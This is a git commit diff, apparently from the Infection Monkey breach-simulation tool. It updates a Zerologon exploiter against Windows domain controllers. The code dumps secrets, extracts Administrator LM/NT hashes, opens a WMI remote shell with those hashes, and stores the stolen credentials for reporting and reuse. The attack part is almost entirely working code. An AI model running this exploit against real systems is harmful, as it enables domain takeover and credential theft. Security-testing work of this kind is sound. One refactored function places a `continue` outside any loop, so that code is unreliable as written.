Final exploit touches and report stuff
This commit is contained in:
parent
b57605b58d
commit
c05a48d34d
|
@ -34,6 +34,7 @@ from impacket.krb5.keytab import Keytab
|
|||
from impacket.smbconnection import (SMB2_DIALECT_002, SMB2_DIALECT_21,
|
||||
SMB_DIALECT, SMBConnection)
|
||||
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
|
||||
|
||||
|
@ -45,8 +46,8 @@ _new_stdout = None
|
|||
|
||||
|
||||
def _set_stdout_to_in_memory_text_stream():
|
||||
global _orig_stdout, _new_stdout
|
||||
# set stdout to in-memory text stream, to capture info that would otherwise be printed
|
||||
global _orig_stdout, _new_stdout
|
||||
_orig_stdout = sys.stdout
|
||||
_new_stdout = io.StringIO()
|
||||
sys.stdout = _new_stdout
|
||||
|
@ -63,6 +64,7 @@ def _unset_stdout_and_return_captured():
|
|||
class ZerologonExploiter(HostExploiter):
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
_EXPLOITED_SERVICE = 'Netlogon'
|
||||
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
||||
MAX_ATTEMPTS = 2000
|
||||
OPTIONS_FOR_SECRETSDUMP =\
|
||||
{
|
||||
|
@ -100,6 +102,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
super().__init__(host)
|
||||
self.vulnerable_port = None
|
||||
self.zerologon_finger = ZerologonFinger()
|
||||
self.exploit_info['credentials'] = {}
|
||||
|
||||
def _exploit_host(self):
|
||||
DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details(self.host)
|
||||
|
@ -128,15 +131,18 @@ class ZerologonExploiter(HostExploiter):
|
|||
if result is not None:
|
||||
break
|
||||
|
||||
self.report_login_attempt(result=False,
|
||||
user=DC_NAME)
|
||||
|
||||
if result['ErrorCode'] == 0:
|
||||
self.report_login_attempt(result=True,
|
||||
user=DC_NAME)
|
||||
LOG.info("Exploit complete!")
|
||||
else:
|
||||
LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.")
|
||||
|
||||
_exploited = True
|
||||
|
||||
## how do i execute monkey on the exploited machine?
|
||||
|
||||
else:
|
||||
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
||||
_exploited = False
|
||||
|
@ -216,11 +222,23 @@ class ZerologonExploiter(HostExploiter):
|
|||
dumped_secrets = self.get_dumped_secrets(options=options,
|
||||
remote_name=DC_IP,
|
||||
username=f"{DC_NAME}$")
|
||||
user = 'Administrator'
|
||||
for secret in dumped_secrets:
|
||||
if 'Administrator' in secret:
|
||||
if user in secret:
|
||||
hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::"
|
||||
self.add_extracted_creds_to_exploit_info(user, hashes[0], hashes[1])
|
||||
return ':'.join(hashes) # format - "lmhash:nthash"
|
||||
|
||||
def add_extracted_creds_to_exploit_info(self, user, lmhash, nthash):
|
||||
self.exploit_info['credentials'].update({
|
||||
user: {
|
||||
'username': user,
|
||||
'password': '',
|
||||
'lm_hash': lmhash,
|
||||
'ntlm_hash': nthash
|
||||
}
|
||||
})
|
||||
|
||||
def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes):
|
||||
if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes):
|
||||
return
|
||||
|
@ -251,7 +269,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
hashes=admin_pwd_hashes,
|
||||
domain=DC_IP)
|
||||
|
||||
remote_shell = wmiexec.run()
|
||||
remote_shell = wmiexec.get_remote_shell()
|
||||
if remote_shell:
|
||||
_set_stdout_to_in_memory_text_stream()
|
||||
|
||||
|
@ -270,6 +288,9 @@ class ZerologonExploiter(HostExploiter):
|
|||
|
||||
info = _unset_stdout_and_return_captured()
|
||||
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
||||
|
||||
wmiexec.close()
|
||||
|
||||
return True
|
||||
|
||||
else:
|
||||
|
@ -566,37 +587,44 @@ class Wmiexec:
|
|||
self.__share = share
|
||||
self.shell = None
|
||||
|
||||
def run(self):
|
||||
smbConnection = SMBConnection(self.__ip, self.__ip)
|
||||
smbConnection.login(user=self.__username,
|
||||
password=self.__password,
|
||||
domain=self.__domain,
|
||||
lmhash=self.__lmhash,
|
||||
nthash=self.__nthash)
|
||||
def connect(self):
|
||||
self.smbConnection = SMBConnection(self.__ip, self.__ip)
|
||||
self.smbConnection.login(user=self.__username,
|
||||
password=self.__password,
|
||||
domain=self.__domain,
|
||||
lmhash=self.__lmhash,
|
||||
nthash=self.__nthash)
|
||||
|
||||
dcom = DCOMConnection(target=self.__ip,
|
||||
username=self.__username,
|
||||
password=self.__password,
|
||||
domain=self.__domain,
|
||||
lmhash=self.__lmhash,
|
||||
nthash=self.__nthash,
|
||||
oxidResolver=True)
|
||||
self.dcom = DCOMConnection(target=self.__ip,
|
||||
username=self.__username,
|
||||
password=self.__password,
|
||||
domain=self.__domain,
|
||||
lmhash=self.__lmhash,
|
||||
nthash=self.__nthash,
|
||||
oxidResolver=True)
|
||||
|
||||
try:
|
||||
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
self.iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
win32Process, _ = iWbemServices.GetObject('Win32_Process')
|
||||
|
||||
self.shell = RemoteShell(self.__share, win32Process, smbConnection, self.OUTPUT_FILENAME)
|
||||
return self.shell
|
||||
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
LOG.error(str(e))
|
||||
smbConnection.logoff()
|
||||
dcom.disconnect()
|
||||
self.smbConnection.logoff()
|
||||
self.dcom.disconnect()
|
||||
|
||||
def get_remote_shell(self):
|
||||
self.connect()
|
||||
win32Process, _ = self.iWbemServices.GetObject('Win32_Process')
|
||||
self.shell = RemoteShell(self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME)
|
||||
return self.shell
|
||||
|
||||
def close(self):
|
||||
self.smbConnection.close()
|
||||
self.smbConnection = None
|
||||
self.dcom.disconnect()
|
||||
self.dcom = None
|
||||
|
||||
|
||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
||||
|
|
|
@ -180,32 +180,49 @@ class ReportService:
|
|||
|
||||
@staticmethod
|
||||
def get_stolen_creds():
|
||||
PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
|
||||
creds = []
|
||||
|
||||
# stolen creds from system info collectors
|
||||
for telem in mongo.db.telemetry.find(
|
||||
{'telem_category': 'system_info', 'data.credentials': {'$exists': True}},
|
||||
{'data.credentials': 1, 'monkey_guid': 1}
|
||||
):
|
||||
monkey_creds = telem['data']['credentials']
|
||||
if len(monkey_creds) == 0:
|
||||
continue
|
||||
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
||||
for user in monkey_creds:
|
||||
for pass_type in PASS_TYPE_DICT:
|
||||
if pass_type not in monkey_creds[user] or not monkey_creds[user][pass_type]:
|
||||
continue
|
||||
username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user
|
||||
cred_row = \
|
||||
{
|
||||
'username': username,
|
||||
'type': PASS_TYPE_DICT[pass_type],
|
||||
'origin': origin
|
||||
}
|
||||
if cred_row not in creds:
|
||||
creds.append(cred_row)
|
||||
creds.append(ReportService._format_creds_for_reporting(telem, monkey_creds))
|
||||
|
||||
# stolen creds from exploiters
|
||||
for telem in mongo.db.telemetry.find(
|
||||
{'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}},
|
||||
{'data.info.credentials': 1, 'monkey_guid': 1}
|
||||
):
|
||||
monkey_creds = telem['data']['info']['credentials']
|
||||
creds.append(ReportService._format_creds_for_reporting(telem, monkey_creds))
|
||||
|
||||
logger.info('Stolen creds generated for reporting')
|
||||
return creds
|
||||
|
||||
@staticmethod
|
||||
def _format_creds_for_reporting(telem, monkey_creds):
|
||||
creds = []
|
||||
PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
|
||||
if len(monkey_creds) == 0:
|
||||
continue
|
||||
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
||||
for user in monkey_creds:
|
||||
for pass_type in PASS_TYPE_DICT:
|
||||
if pass_type not in monkey_creds[user] or not monkey_creds[user][pass_type]:
|
||||
continue
|
||||
username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user
|
||||
cred_row = \
|
||||
{
|
||||
'username': username,
|
||||
'type': PASS_TYPE_DICT[pass_type],
|
||||
'origin': origin
|
||||
}
|
||||
if cred_row not in creds:
|
||||
creds.append(cred_row)
|
||||
return creds
|
||||
|
||||
@staticmethod
|
||||
def get_ssh_keys():
|
||||
"""
|
||||
|
|
|
@ -4,6 +4,7 @@ import dateutil
|
|||
|
||||
from monkey_island.cc.encryptor import encryptor
|
||||
from monkey_island.cc.models import Monkey
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
from monkey_island.cc.services.edge.displayed_edge import EdgeService
|
||||
from monkey_island.cc.services.node import NodeService
|
||||
from monkey_island.cc.services.telemetry.processing.utils import \
|
||||
|
@ -17,6 +18,7 @@ def process_exploit_telemetry(telemetry_json):
|
|||
edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json)
|
||||
update_network_with_exploit(edge, telemetry_json)
|
||||
update_node_credentials_from_successful_attempts(edge, telemetry_json)
|
||||
add_exploit_extracted_creds_to_config(telemetry_json)
|
||||
|
||||
test_machine_exploited(
|
||||
current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']),
|
||||
|
@ -26,6 +28,21 @@ def process_exploit_telemetry(telemetry_json):
|
|||
timestamp=telemetry_json['timestamp'])
|
||||
|
||||
|
||||
def add_exploit_extracted_creds_to_config(telemetry_json):
|
||||
if 'credentials' in telemetry_json['data']['info']:
|
||||
creds = telemetry_json['data']['info']['credentials']
|
||||
add_system_info_creds_to_config(creds)
|
||||
|
||||
for user in creds:
|
||||
ConfigService.creds_add_username(creds[user]['username'])
|
||||
if 'password' in creds[user] and creds[user]['password']:
|
||||
ConfigService.creds_add_password(creds[user]['password'])
|
||||
if 'lm_hash' in creds[user] and creds[user]['lm_hash']:
|
||||
ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
|
||||
if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']:
|
||||
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
|
||||
|
||||
|
||||
def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json):
|
||||
for attempt in telemetry_json['data']['attempts']:
|
||||
if attempt['result']:
|
||||
|
|
Loading…
Reference in New Issue